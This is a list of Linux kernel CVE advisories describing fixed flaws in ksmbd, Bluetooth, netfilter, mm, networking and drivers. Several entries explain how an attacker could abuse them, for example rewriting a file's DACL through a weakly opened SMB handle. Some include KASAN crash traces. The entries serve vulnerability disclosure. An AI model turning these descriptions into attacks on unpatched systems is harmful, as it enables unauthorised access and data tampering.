| CVE-2026-64393 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: run set info with opener credentials SMB2 SET_INFO handlers call path-based VFS helpers after checking the access mask granted to the SMB handle. Those helpers perform their owner, inode permission and LSM checks using the current ksmbd worker credentials. Run the complete SET_INFO dispatch with the credentials captured when the handle was opened. This also removes the separate security information credential setup and keeps all SET_INFO classes under one credential scope. Direct override_creds() is used because it can nest with the request credential overrides already used by rename and link helpers. |
| CVE-2026-64394 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: add a WRITE_DAC/WRITE_OWNER check to SMB2 SET_INFO SECURITY commit cc57232cae23 ("ksmbd: fix FSCTL permission bypass by adding a permission check for FSCTL_SET_SPARSE") added a fp->daccess gate to fsctl_set_sparse and noted that "similar handle-level checks exist in other functions but are missing here." The SMB2 SET_INFO SECURITY arm is one of the missing ones, and the most security-relevant: smb2_set_info_sec() calls set_info_sec() with no per-handle access check. set_info_sec() (fs/smb/server/smbacl.c) re-permissions the file: it rewrites owner/group/mode via notify_change(), rewrites the POSIX ACL via set_posix_acl(), and on KSMBD_SHARE_FLAG_ACL_XATTR shares removes and rewrites the Windows security descriptor via ksmbd_vfs_set_sd_xattr(). Every other persistent-mutation arm of the sibling handler smb2_set_info_file() checks fp->daccess first (FILE_WRITE_DATA / FILE_DELETE / FILE_WRITE_EA / FILE_WRITE_ATTRIBUTES); the SECURITY arm — which mutates the access control itself — is the only one with no gate. A client can therefore open a handle with FILE_WRITE_ATTRIBUTES only (no FILE_WRITE_DAC / FILE_WRITE_OWNER) and use SMB2_SET_INFO with InfoType SMB2_O_INFO_SECURITY to rewrite the file's DACL and owner, granting itself access the handle's daccess never carried. Unlike the FSCTL data arms this is a metadata/xattr operation, so there is no FMODE_WRITE VFS backstop — the missing fp->daccess check is the entire gate. Setting a security descriptor is the WRITE_DAC / WRITE_OWNER operation, so require at least one of those on the handle before re-permissioning the file. -EACCES is mapped to STATUS_ACCESS_DENIED by smb2_set_info(). |
| CVE-2026-64395 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: require source read access for duplicate extents FSCTL_DUPLICATE_EXTENTS_TO_FILE passes the source file directly to vfs_clone_file_range() or vfs_copy_file_range() without checking the SMB access mask granted to the source handle. A handle opened with attribute access can consequently be used to copy file contents into an attacker-readable destination. Require FILE_READ_DATA on the source handle before either VFS operation, matching other ksmbd data-copy paths. |
| CVE-2026-64396 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: fix UAF of struct file_lock in SMB2_LOCK deferred-lock cancellation When a blocking byte-range lock request is deferred in the FILE_LOCK_DEFERRED path, ksmbd registers the asynchronous work into the connection's async_requests list via setup_async_work(). The cancel callback smb2_remove_blocked_lock() holds a reference to the flock. If the lock waiter is subsequently woken up but the work state is no longer KSMBD_WORK_ACTIVE (e.g., due to a concurrent cancellation), the cleanup path calls locks_free_lock(flock) without dequeuing the work from the async_requests list. Concurrently, smb2_cancel() walks the list under conn->request_lock and invokes the cancel callback, which then dereferences the already freed 'flock'. This leads to a slab-use-after-free inside __wake_up_common. Fix this by restructuring the cleanup logic after the worker returns from ksmbd_vfs_posix_lock_wait(). Move list_del(&smb_lock->llist) and release_async_work(work) to the top of the cleanup block. This guarantees that the async work is completely dequeued and serialized under conn->request_lock before locks_free_lock(flock) is called, rendering the flock unreachable for any concurrent smb2_cancel(). |
| CVE-2026-64397 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: serialize QUERY_DIRECTORY requests per file smb2_query_dir() stores a pointer to its stack-allocated private data in the ksmbd_file readdir_data. Concurrent QUERY_DIRECTORY requests using the same file handle can overwrite this pointer while an iterate_dir() callback is still using it, resulting in a stack use-after-free. Add a per-file mutex and hold it while accessing the shared directory enumeration state. The lock covers scan restart, dot entry state, readdir_data setup and iteration, and response construction. This prevents another request from replacing readdir_data.private before the current request has finished using it and also serializes the shared file position. |
| CVE-2026-64398 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: add a permission check for FSCTL_SET_ZERO_DATA FSCTL_SET_ZERO_DATA in smb2_ioctl() destroys file data via ksmbd_vfs_zero_data() -> vfs_fallocate(PUNCH_HOLE/ZERO_RANGE) after checking only the share-level KSMBD_TREE_CONN_FLAG_WRITABLE, with no per-handle access check. A handle opened with only FILE_WRITE_ATTRIBUTES still yields an FMODE_WRITE filp (FILE_WRITE_ATTRIBUTES is part of FILE_WRITE_DESIRE_ACCESS_LE, so smb2_create_open_flags() opens it O_WRONLY), so the vfs_fallocate FMODE_WRITE check does not stop it; only the missing fp->daccess gate would. Reproduced on mainline 7.1-rc7 with KASAN by an authenticated SMB client: a FILE_WRITE_ATTRIBUTES-only handle zeroed 4096 bytes of file data it had no FILE_WRITE_DATA right to (6/6; a FILE_READ_DATA-only handle was correctly denied). This is the unfixed sibling of commit cc57232cae23 ("ksmbd: fix FSCTL permission bypass by adding a permission check for FSCTL_SET_SPARSE"). Because SET_ZERO_DATA writes data (not an attribute), require FILE_WRITE_DATA. |
| CVE-2026-64399 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: add permission checks for FSCTL_DUPLICATE_EXTENTS_TO_FILE The FSCTL_DUPLICATE_EXTENTS_TO_FILE arm of smb2_ioctl() overwrites the destination file's data via vfs_clone_file_range() with neither the share-level KSMBD_TREE_CONN_FLAG_WRITABLE check nor a per-handle fp->daccess check that the other write-bearing arms carry. A client can overwrite destination data on a read-only share, or from a handle opened with only FILE_WRITE_ATTRIBUTES (which still yields an FMODE_WRITE filp). FILE_WRITE_ATTRIBUTES-only destination handle overwrote the file's data via the clone. Add both checks, matching the FSCTL_SET_SPARSE permission fix; require FILE_WRITE_DATA since this writes data. |
| CVE-2026-64400 | In the Linux kernel, the following vulnerability has been resolved: ksmbd: prevent path traversal bypass by restricting caseless retry ksmbd_vfs_path_lookup() enforces LOOKUP_BENEATH to restrict path resolution within the share root. When a crafted path attempts to escape the share boundary using parent-directory components ('..'), vfs_path_parent_lookup() detects this and immediately fails, returning -EXDEV. However, a bug exists in __ksmbd_vfs_kern_path() under caseless mode. The function fails to intercept the -EXDEV error and erroneously falls through to the caseless retry logic, which is intended only for genuinely missing files. During this retry process, the path is reconstructed, leading to an unintended LOOKUP_BENEATH bypass that allows write-capable users to create zero-length files or directories outside the exported share. Fix this by ensuring that the execution only proceeds to the caseless lookup retry when the error is specifically -ENOENT. Any other errors, such as -EXDEV from a path traversal attempt, must be returned immediately. |
| CVE-2026-64401 | In the Linux kernel, the following vulnerability has been resolved: smb: client: resolve SWN tcon from live registrations cifs_swn_notify() looks up a witness registration by id under cifs_swnreg_idr_mutex, drops the mutex, and then uses the registration's cached tcon pointer. That pointer is not a lifetime reference, and it is not a stable representative once cifs_get_swn_reg() lets multiple tcons for the same net/share name share one registration id. A same-share second mount can keep the cifs_swn_reg alive after the first tcon unregisters and is freed. The registration then still points at the freed first tcon, so taking tc_lock or incrementing tc_count through swnreg->tcon only moves the use-after-free earlier. Taking tc_lock while holding cifs_swnreg_idr_mutex also violates the documented CIFS lock order. Fix this by making the registration store only the stable witness identity: id, net name, share name, and notify flags. When a notify arrives, copy that identity under cifs_swnreg_idr_mutex, drop the mutex, then find and pin a live witness tcon that currently matches the net/share pair under the normal cifs_tcp_ses_lock -> tc_lock order. The notification path uses that pinned tcon directly and drops the reference when done. Registration and unregister messages now use the live tcon passed by the caller instead of a cached tcon in the registration. The final unregister send is folded into cifs_swn_unregister() while the registration is still protected by cifs_swnreg_idr_mutex. This removes the previous find/drop/reacquire raw-pointer window. The release path only removes the idr entry and frees the stable identity strings. This preserves the intended one-registration/many-tcon behavior: a registration id represents a net/share pair, and notify handling acts on a live representative selected at use time. It also preserves CLIENT_MOVE ordering for the representative tcon because the old-IP unregister is sent before cifs_swn_register() sends the new-IP register. |
| CVE-2026-64402 | In the Linux kernel, the following vulnerability has been resolved: coresight: ultrasoc-smb: Fix OOB write in smb_sync_perf_buffer() When the SMB sink is used as a perf AUX sink, smb_update_buffer() calls smb_sync_perf_buffer() to copy hardware trace data into the perf AUX ring buffer pages. It derives pg_idx = head >> PAGE_SHIFT from @head, which is handle->head, and indexes dst_pages[pg_idx]. The pg_idx %= nr_pages normalization is only applied after the first loop iteration. This leaves the initial page index underived from the buffer size, which can result in an out-of-bounds write past dst_pages[] when head exceeds the AUX buffer size. Normalize head modulo the AUX buffer size before deriving the page index and offset, mirroring tmc_etr_sync_perf_buffer(). |
| CVE-2026-64403 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: L2CAP: validate option length before reading conf opt value l2cap_get_conf_opt() derives the option length from the attacker-controlled opt->len field and immediately dereferences opt->val (as u8, get_unaligned_le16() or get_unaligned_le32(), or a raw pointer for the default case) before any caller has confirmed that opt->len bytes are present in the buffer. The callers (l2cap_parse_conf_req(), l2cap_parse_conf_rsp() and l2cap_conf_rfc_get()) only detect a malformed option afterwards, once the running length has gone negative, by which point the out-of-bounds read has already executed. An existing post-hoc length check keeps the garbage value from being consumed, so this is not a data leak in the current control flow. It is still a validate-after-use ordering bug: up to 4 bytes are read past the end of the buffer before it is known to contain them, and it is fragile to future changes in the callers. Fix it at the source. Pass the end of the buffer into l2cap_get_conf_opt() and refuse to touch opt->val unless the full option (header + value) fits. Each caller computes an end pointer once before the loop and checks the return value directly instead of inferring the error from a negative length. |
| CVE-2026-64404 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: ISO: avoid NULL deref of conn in iso_conn_big_sync() iso_conn_big_sync() drops the socket lock to call hci_get_route() and then re-acquires it, but dereferences iso_pi(sk)->conn->hcon afterwards without re-checking that conn is still valid. While the lock is dropped, the connection can be torn down under the same socket lock: iso_disconn_cfm() -> iso_conn_del() -> iso_chan_del() sets iso_pi(sk)->conn to NULL (and the broadcast teardown path can also clear conn->hcon on its own). When iso_conn_big_sync() re-acquires the lock and reads conn->hcon, conn may be NULL, causing a NULL pointer dereference (hcon is the first member of struct iso_conn). This path is reached from iso_sock_recvmsg() for a PA-sync broadcast sink socket (BT_SK_DEFER_SETUP | BT_SK_PA_SYNC), so the dropped-lock window can race with connection teardown driven by controller events. Re-validate iso_pi(sk)->conn and its hcon after re-acquiring the socket lock and bail out if the connection went away, as already done in the sibling iso_sock_rebind_bc(). |
| CVE-2026-64405 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: hci_conn: Fix null ptr deref in hci_abort_conn() hci_abort_conn() read hci_skb_event(hdev->sent_cmd) when a connection was pending, but hdev->sent_cmd can be NULL while req_status is still HCI_REQ_PEND, leading to a NULL pointer dereference and a general protection fault from the hci_rx_work() receive path. Instead of inspecting hdev->sent_cmd, track the in-flight create connection command with a new per-connection HCI_CONN_CREATE flag and route all cancellation through hci_cancel_connect_sync(), which dispatches to a dedicated per-type cancel function. The create command is in exactly one of two states: still queued, or in flight. The cancel function holds cmd_sync_work_lock across the whole decision: the worker takes this lock to dequeue every entry, so while it is held a queued command cannot start running and an in-flight command cannot complete and let the next command become pending. This keeps the flag test and hci_cmd_sync_cancel() atomic with respect to the worker, so a queued command is simply dequeued, and an in-flight command owned by this connection is cancelled without the risk of cancelling an unrelated command that became pending in the meantime. CIS uses the same flag mechanism via HCI_CONN_CREATE_CIS but cannot be dequeued per-connection. hci_acl_create_conn_sync() and hci_le_create_conn_sync() clear HCI_CONN_CREATE after the create command completes, but the command status handler can free conn via hci_conn_del() (for example when the controller rejects the connection) while the worker is still blocked on the connection complete event. Hold a reference on conn across the create command so the flag can be cleared without a use-after-free. |
| CVE-2026-64406 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: fix UAF in bt_accept_dequeue() bt_accept_get() takes a temporary reference before dropping the accept queue lock. bt_accept_dequeue() currently drops that reference before bt_accept_unlink(), leaving only the queue reference. bt_accept_unlink() drops the queue reference. The subsequent sock_hold() therefore accesses freed memory if it was the final reference, as observed by KASAN during listening L2CAP socket cleanup. Retain the temporary queue-walk reference through unlink and hand it to the caller on success. Drop it explicitly on the closed and not-yet-connected paths. |
| CVE-2026-64407 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btnxpuart: Fix out-of-bounds firmware read in nxp_recv_fw_req_v3() During the v3 firmware download the controller sends a v3_data_req with a 32 bit offset and a 16 bit len. nxp_recv_fw_req_v3() checks only the lower bound of the offset and then sends firmware from that offset. nxpdev->fw_dnld_v3_offset = offset - nxpdev->fw_v3_offset_correction; serdev_device_write_buf(nxpdev->serdev, nxpdev->fw->data + nxpdev->fw_dnld_v3_offset, len); Nothing checks that fw_dnld_v3_offset + len stays within nxpdev->fw->size, so a controller that asks for an offset or length past the firmware image makes the driver read past the end of nxpdev->fw->data and send that memory back over UART. nxp_recv_fw_req_v1() already bounds the same write. Add the equivalent check to the v3 path, reject the request when it falls outside the firmware image, and zero len on the error path so the fw_v3_prev_sent bookkeeping at free_skb stays consistent. |
| CVE-2026-64408 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: bnep: pin L2CAP connection during netdev registration bnep_add_connection() reads the L2CAP connection without holding the channel lock, then passes its HCI device to register_netdev(). Controller teardown can clear and release that connection concurrently, leaving the network device registration path to dereference a freed parent device. Take a reference to the L2CAP connection while holding the channel lock. Retain it until register_netdev() has taken the parent device reference. |
| CVE-2026-64409 | In the Linux kernel, the following vulnerability has been resolved: Bluetooth: btmtksdio: fix infinite loop in btmtksdio_txrx_work() Every once in a while we see a hung btmtksdio_flush() task: INFO: task kworker/u17:0:189 blocked for more than 122 seconds. __cancel_work_timer+0x3f4/0x460 cancel_work_sync+0x1c/0x2c btmtksdio_flush+0x2c/0x40 hci_dev_open_sync+0x10c4/0x2190 [..] It all boils down to incorrect time_is_before_jiffies() usage in btmtksdio_txrx_work(). The btmtksdio_txrx_work() loop is expected to be terminated if running for longer than 5*HZ. However the timeout check is twisted: time_is_before_jiffies(old_jiffies + 5*HZ) evaluates to true when old_jiffies + 5*HZ is in the past i.e. when a timeout has occurred. Using OR with time_is_before_jiffies(txrx_timeout) means that: - before the 5-second timeout: the condition is `int_status || false`, so it loops as long as there are pending interrupts. - after the 5-second timeout: the condition becomes `int_status || true`, which is always true. When the loop becomes infinite btmtksdio_txrx_work() loop never terminates and never releases the SDIO host. Fix loop termination condition to actually enforce a 5*HZ timeout. |
| CVE-2026-64411 | In the Linux kernel, the following vulnerability has been resolved: netfilter: ebtables: terminate table name before find_table_lock() update_counters() and compat_update_counters() forward a user-supplied 32-byte table name to find_table_lock() without NUL-terminating it. On a lookup miss, find_inlist_lock() calls try_then_request_module(..., "%s%s", "ebtable_", name), and vsnprintf() reads past the name field and the stack object until it hits a zero byte. BUG: KASAN: stack-out-of-bounds in string (lib/vsprintf.c:648 lib/vsprintf.c:730) Read of size 1 at addr ffff8880119dfb20 by task exploit/147 Call Trace: ... string (lib/vsprintf.c:648 lib/vsprintf.c:730) vsnprintf (lib/vsprintf.c:2945) __request_module (kernel/module/kmod.c:150) do_update_counters.isra.0 (net/bridge/netfilter/ebtables.c:371 net/bridge/netfilter/ebtables.c:380) update_counters (net/bridge/netfilter/ebtables.c:1440) do_ebt_set_ctl (net/bridge/netfilter/ebtables.c:2573) nf_setsockopt (net/netfilter/nf_sockopt.c:101) ip_setsockopt (net/ipv4/ip_sockglue.c:1424) raw_setsockopt (net/ipv4/raw.c:847) __sys_setsockopt (net/socket.c:2393) ... compat_do_replace() shares the same unterminated name via compat_copy_ebt_replace_from_user(); terminate it there too so all find_table_lock() callers behave alike. The other callers already terminate the name after the copy. |
| CVE-2026-64412 | In the Linux kernel, the following vulnerability has been resolved: netfilter: ebtables: module names must be null-terminated We need to explicitly check the length, else we may pass non-null terminated string to request_module(). |
| CVE-2026-64413 | In the Linux kernel, the following vulnerability has been resolved: netfilter: ebtables: zero chainstack array sashiko reports: looking at ebtables table translation, could a sparse cpu_possible_mask lead to an uninitialized pointer free? If cpu_possible_mask is sparse (for example, CPU 0 and CPU 2 are possible, but CPU 1 is not), the allocation loop skips CPU 1. If vmalloc_node() fails at CPU 2, the cleanup loop will blindly decrement and call vfree() on newinfo->chainstack[1]. Not a real-world bug, such allocation isn't expected to fail in the first place. |
| CVE-2026-64417 | In the Linux kernel, the following vulnerability has been resolved: mm: shrinker: fix NULL pointer dereference in debugfs shrinker_debugfs_add() creates both "count" and "scan" debugfs files unconditionally. That assumes every shrinker implements both count_objects() and scan_objects(), which is not guaranteed. For example, the xen-backend shrinker sets count_objects() but leaves scan_objects() NULL, so writing to its scan file calls through a NULL function pointer and panics the kernel: BUG: kernel NULL pointer dereference, address: 0000000000000000 RIP: 0010:0x0 Code: Unable to access opcode bytes at 0xffffffffffffffd6. Call Trace: <TASK> shrinker_debugfs_scan_write+0x12e/0x270 full_proxy_write+0x5f/0x90 vfs_write+0xde/0x420 ? filp_flush+0x75/0x90 ? filp_close+0x1d/0x30 ? do_dup2+0xb8/0x120 ksys_write+0x68/0xf0 ? filp_flush+0x75/0x90 do_syscall_64+0xb3/0x5b0 entry_SYSCALL_64_after_hwframe+0x76/0x7e The count path has the same issue in principle if a shrinker omits count_objects(). To fix it, only create "count" and "scan" debugfs files when the corresponding callbacks are present. |
| CVE-2026-64418 | In the Linux kernel, the following vulnerability has been resolved: mm: shrinker: fix shrinker_info teardown race with expansion expand_shrinker_info() iterates all visible memcgs under shrinker_mutex, including memcgs that have not finished ->css_online() yet. Once pn->shrinker_info has been published, teardown must stay serialized with expand_shrinker_info() until that memcg is either fully online or no longer visible to iteration. Today alloc_shrinker_info() breaks that rule by dropping shrinker_mutex before freeing a partially initialized shrinker_info array, which may cause the following race: CPU0 CPU1 ==== ==== css_create --> list_add_tail_rcu(&css->sibling, &parent_css->children); online_css --> mem_cgroup_css_online --> alloc_shrinker_info --> alloc node0 info rcu_assign_pointer(C->node0->shrinker_info, old0) alloc node1 info -> FAIL -> goto err mutex_unlock(shrinker_mutex) shrinker_alloc() --> shrinker_memcg_alloc --> mutex_lock(shrinker_mutex) expand_shrinker_info --> mem_cgroup_iter see the memcg expand_one_shrinker_info --> old0 = C->node0->shrinker_info memcpy(new->unit, old0->unit, ...); free_shrinker_info --> kvfree(old0); /* double free !! */ kvfree_rcu(old0, rcu); The same problem exists later in mem_cgroup_css_online(). If alloc_shrinker_info() succeeds but a subsequent objcg allocation fails, the free_objcg -> free_shrinker_info() unwind path tears down the already published pn->shrinker_info arrays without shrinker_mutex. The expand_one_shrinker_info() can race with that teardown in the same way, leading to use-after-free or double-free of the old shrinker_info. Fix this by serializing shrinker_info teardown with shrinker_mutex, and by keeping alloc_shrinker_info() error cleanup inside the locked section. |
| CVE-2026-64419 | In the Linux kernel, the following vulnerability has been resolved: mm/shrinker: do not hold RCU lock in shrinker_debugfs_count_show() Reading the debugfs "count" file of a memcg-aware shrinker can sleep inside an RCU read-side critical section: BUG: sleeping function called from invalid context at kernel/cgroup/rstat.c:421 RCU nest depth: 1, expected: 0 css_rstat_flush mem_cgroup_flush_stats zswap_shrinker_count shrinker_debugfs_count_show shrinker_debugfs_count_show() invokes the ->count_objects() callback under rcu_read_lock(). The zswap callback flushes memcg stats via css_rstat_flush(), which may sleep, so it must not run under RCU. The RCU lock is not needed here. mem_cgroup_iter() takes RCU internally and returns a memcg holding a css reference (dropped on the next iteration or by mem_cgroup_iter_break()), so the memcg stays alive without it. The shrinker is kept alive by the open debugfs file: shrinker_free() removes the debugfs entries via debugfs_remove_recursive(), which waits for in-flight readers to drain, before call_rcu(..., shrinker_free_rcu_cb). The sibling "scan" handler already invokes the sleeping ->scan_objects() callback with no RCU section. Drop the rcu_read_lock()/rcu_read_unlock(). |
| CVE-2026-64420 | In the Linux kernel, the following vulnerability has been resolved: mfd: cros_ec: Delay dev_set_drvdata() until probe success If ec_device_probe() fails, cros_ec_class_release releases memory for the cros_ec_dev structure. However, because the drvdata was already set, sub-drivers like cros_ec_typec can still retrieve the stale pointer via the platform device. This leads to a use-after-free when cros_ec_typec attempts to access &typec->ec->ec->dev on a device that has already been released. Move dev_set_drvdata() to ensure that the pointer is only made available once all initialization steps have succeeded. sysfs: cannot create duplicate filename '/class/chromeos/cros_ec' Call trace: sysfs_do_create_link_sd+0x94/0xdc sysfs_create_link+0x30/0x44 device_add_class_symlinks+0x90/0x13c device_add+0xf0/0x50c ec_device_probe+0x150/0x4f0 platform_probe+0xa0/0xe0 ... BUG: KASAN: invalid-access in __memcpy+0x44/0x230 Write at addr f5ffff809e2d33ac by task kworker/u32:5/125 Pointer tag: [f5], memory tag: [fe] Tainted : [W]=WARN, [O]=OOT_MODULE Hardware name: Google Navi unprovisioned 0x7FFFFFFF/sku0 board/sku3 Workqueue: events_unbound deferred_probe_work_func Call trace: __memcpy+0x44/0x230 cros_ec_check_features+0x60/0xcc [cros_ec_proto] cros_typec_probe+0xe8/0x6e0 [cros_ec_typec] platform_probe+0xa0/0xe0 |
| CVE-2026-64421 | In the Linux kernel, the following vulnerability has been resolved: media: nxp: imx8-isi: Fix use-after-free on remove KASAN reports a slab-use-after-free in __media_entity_remove_link() during rmmod of imx8_isi: BUG: KASAN: slab-use-after-free in __media_entity_remove_link+0x608/0x650 Read of size 2 at addr ffff0000d47cb02a by task rmmod/724 Call trace: __media_entity_remove_link+0x608/0x650 __media_entity_remove_links+0x78/0x144 __media_device_unregister_entity+0x150/0x280 media_device_unregister_entity+0x48/0x68 v4l2_device_unregister_subdev+0x158/0x300 v4l2_async_unbind_subdev_one+0x22c/0x358 v4l2_async_nf_unbind_all_subdevs+0xfc/0x1c0 v4l2_async_nf_unregister+0x5c/0x14c mxc_isi_remove+0x124/0x2a0 [imx8_isi] Allocated by task 249: __kmalloc_noprof+0x27c/0x690 mxc_isi_crossbar_init+0x22c/0x560 [imx8_isi] Freed by task 724: kfree+0x1e4/0x5b0 mxc_isi_crossbar_cleanup+0x34/0x80 [imx8_isi] mxc_isi_remove+0x11c/0x2a0 [imx8_isi] The problem is that mxc_isi_remove() calls mxc_isi_crossbar_cleanup() before mxc_isi_v4l2_cleanup(). The crossbar cleanup frees the media entity pads, but the subsequent v4l2 cleanup still tries to remove media links that reference those pads. Fix this by calling mxc_isi_v4l2_cleanup() before mxc_isi_crossbar_cleanup() to ensure all media entities are properly unregistered while the pads are still valid. |
| CVE-2026-64422 | In the Linux kernel, the following vulnerability has been resolved: net: ipv4: bound TCP reordering sysctl writes and MTU probe sizes Reject invalid `net.ipv4.tcp_reordering` values before they reach TCP socket state. The sysctl is stored as an `int` but copied into the `u32` `tp->reordering` field for new sockets, so negative writes wrap to large values. With `tcp_mtu_probing=2`, the wrapped value can overflow the `tcp_mtu_probe()` size calculation and drive the MTU probing path into an out-of-bounds read. Route `tcp_reordering` writes through `proc_dointvec_minmax()` and require it to be at least 1. Also require `tcp_max_reordering` to be at least 1 so the configured maximum cannot become negative either. When registering the table for a non-init network namespace, relocate `extra2` pointers that refer into `init_net.ipv4` so the `tcp_reordering` upper bound follows that namespace's `tcp_max_reordering`. Harden `tcp_mtu_probe()` itself by computing `size_needed` as `u64`. This keeps the send queue and window checks from being bypassed through signed integer overflow. |
| CVE-2026-64423 | In the Linux kernel, the following vulnerability has been resolved: ipv4: igmp: remove multicast group from hash table on device destruction When a device is destroyed under RTNL, ip_mc_destroy_dev() iterates through the multicast list and calls ip_ma_put() on each membership, scheduling them for RCU reclamation. However, they are not unlinked from the device's multicast hash table (mc_hash). Since the device remains published in dev->ip_ptr until after ip_mc_destroy_dev() completes, concurrent RCU readers traversing mc_hash can still locate and access the multicast group after its refcount is decremented. If the RCU callback runs and frees the group while a reader is accessing it, a use-after-free occurs. Fix this by unlinking the multicast group from mc_hash using ip_mc_hash_remove() before scheduling it for reclamation. BUG: KASAN: slab-use-after-free in ip_check_mc_rcu+0x149/0x3f0 Read of size 4 at addr ffff888009bf1408 by task mausezahn/2276 Call Trace: <IRQ> dump_stack_lvl+0x67/0x90 print_report+0x175/0x7c0 kasan_report+0x147/0x180 ip_check_mc_rcu+0x149/0x3f0 udp_v4_early_demux+0x36d/0x12d0 ip_rcv_finish_core+0xb8b/0x1390 ip_rcv_finish+0x54/0x120 NF_HOOK+0x213/0x2b0 __netif_receive_skb+0x126/0x340 process_backlog+0x4f2/0xf00 __napi_poll+0x92/0x2c0 net_rx_action+0x583/0xc60 handle_softirqs+0x236/0x7f0 do_softirq+0x57/0x80 </IRQ> Allocated by task 2239: kasan_save_track+0x3e/0x80 __kasan_kmalloc+0x72/0x90 ____ip_mc_inc_group+0x31a/0xa40 __ip_mc_join_group+0x334/0x3f0 do_ip_setsockopt+0x16fa/0x2010 ip_setsockopt+0x3f/0x90 do_sock_setsockopt+0x1ad/0x300 Freed by task 0: kasan_save_track+0x3e/0x80 kasan_save_free_info+0x40/0x50 __kasan_slab_free+0x3a/0x60 __rcu_free_sheaf_prepare+0xd4/0x220 rcu_free_sheaf+0x36/0x190 rcu_core+0x8d9/0x12f0 handle_softirqs+0x236/0x7f0 |
| CVE-2026-64424 | In the Linux kernel, the following vulnerability has been resolved: netpoll: fix a use-after-free on shutdown path There is a use-after-free error on netpoll, which is clearly detected by KASAN. BUG: KASAN: slab-use-after-free in _raw_spin_lock_irqsave+0x3b/0x80 Read of size 1 at addr ... by task kworker/9:1 Workqueue: events queue_process Call Trace: skb_dequeue+0x1e/0xb0 queue_process+0x2c/0x600 process_scheduled_works+0x4b6/0x850 worker_thread+0x414/0x5a0 Allocated by task 242: __netpoll_setup+0x201/0x4a0 netpoll_setup+0x249/0x550 enabled_store+0x32f/0x380 Freed by task 0: kfree+0x1b7/0x540 rcu_core+0x3f8/0x7a0 The problem happens when there is a pending TX worker running in parallel with the cleanup path. This is what happens on netpoll shutdown path: 1) __netpoll_cleanup() is called 2) set dev->npinfo to NULL 3) call_rcu() with rcu_cleanup_netpoll_info() 3.1) rcu_cleanup_netpoll_info() tries to cancel all workers with cancel_delayed_work(), but doesn't wait for the worker to finish 4) and kfree(npinfo); Because 3.1) doesn't really cancel the work, as the comment says "we can't call cancel_delayed_work_sync here, as we are in softirq", the TX worker can run after 4). Tl;DR: queue_process() is not an RCU reader, it reaches npinfo through the work item via container_of(). Use disable_delayed_work_sync() to ensure the worker is completely stopped and prevent any future re-arming attempts. Once npinfo is set to NULL, senders will bail out and not queue new work. The disable flag ensures any in-flight re-arming attempts also fail silently. In the future, we can do the cleanup inline here without needing the npinfo->rcu rcu_head, but that is net-next material. |
| CVE-2026-64425 | In the Linux kernel, the following vulnerability has been resolved: io_uring/io-wq: re-check IO_WQ_BIT_EXIT for each linked work item commit 10dc95939817 ("io_uring/io-wq: check IO_WQ_BIT_EXIT inside work run loop") fixed the obvious case where io_worker_handle_work() took one exit-bit snapshot before draining pending work, but the fix stops one level too early. io_worker_handle_work() now re-checks IO_WQ_BIT_EXIT in its outer work run loop, yet it still snapshots that bit once before processing a whole dependent linked-work chain. If io_wq_exit_start() sets IO_WQ_BIT_EXIT after the first linked item has started, the remaining linked items can still reuse stale do_kill = false, skip IO_WQ_WORK_CANCEL, and continue running after exit has begun. Move the check further inside, so it covers linked items too. Note: this is a syzbot special as it loves setting up tons of slow linked work on weird devices like msr that take forever to read, and immediately close the ring. Exit then takes a long time. |
| CVE-2026-64428 | In the Linux kernel, the following vulnerability has been resolved: gpio: sch: use raw_spinlock_t in the irq startup path sch_irq_unmask() enables the GPIO IRQ and then updates the controller state through sch_irq_mask_unmask(), which takes sch->lock with spin_lock_irqsave(). The callback can be reached from irq_startup() while setting up a requested IRQ. That path is not sleepable, but on PREEMPT_RT a regular spinlock_t becomes a sleeping lock. This issue was found by our static analysis tool and then manually reviewed against the current tree. The grounded PoC kept the request_threaded_irq() -> __setup_irq() -> irq_startup() -> sch_irq_unmask() -> sch_irq_mask_unmask() carrier and used the original spin_lock_irqsave(&sch->lock) edge. Lockdep reported: BUG: sleeping function called from invalid context hardirqs last disabled at ... __setup_irq.constprop.0 ... [vuln_msv] sch_rt_spin_lock_irqsave+0x1c/0x30 [vuln_msv] sch_irq_mask_unmask.constprop.0+0x31/0x70 [vuln_msv] __setup_irq.constprop.0+0xd/0x30 [vuln_msv] Convert the SCH controller lock to raw_spinlock_t. The same lock is also used by the GPIO direction and value callbacks, but those critical sections only update MMIO-backed GPIO registers and do not contain sleepable operations. Keeping this register lock non-sleeping is therefore appropriate for the irqchip callbacks and does not change the GPIO-side locking contract. |
| CVE-2026-64429 | In the Linux kernel, the following vulnerability has been resolved: gpio: eic-sprd: use raw_spinlock_t in the irq startup path sprd_eic_irq_unmask() enables the GPIO IRQ and then updates controller state through sprd_eic_update(), which takes sprd_eic->lock with spin_lock_irqsave(). The callback can be reached from irq_startup() while setting up a requested IRQ. That path is not sleepable, but on PREEMPT_RT a regular spinlock_t becomes a sleeping lock. This issue was found by our static analysis tool and then manually reviewed against the current tree. The grounded PoC kept the request_threaded_irq() -> __setup_irq() -> irq_startup() -> sprd_eic_irq_unmask() -> sprd_eic_update() carrier and used the original spin_lock_irqsave(&sprd_eic->lock) edge. Lockdep BUG: sleeping function called from invalid context hardirqs last disabled at ... __setup_irq.constprop.0 ... [vuln_msv] sprd_rt_spin_lock_irqsave+0x1c/0x30 [vuln_msv] sprd_eic_update.constprop.0+0x48/0x90 [vuln_msv] sprd_eic_irq_unmask.constprop.0+0x35/0x50 [vuln_msv] __setup_irq.constprop.0+0xd/0x30 [vuln_msv] Convert the Spreadtrum EIC controller lock to raw_spinlock_t. The locked section only serializes MMIO register updates and does not contain sleepable operations, so keeping it non-sleeping is appropriate for the irqchip callbacks. |
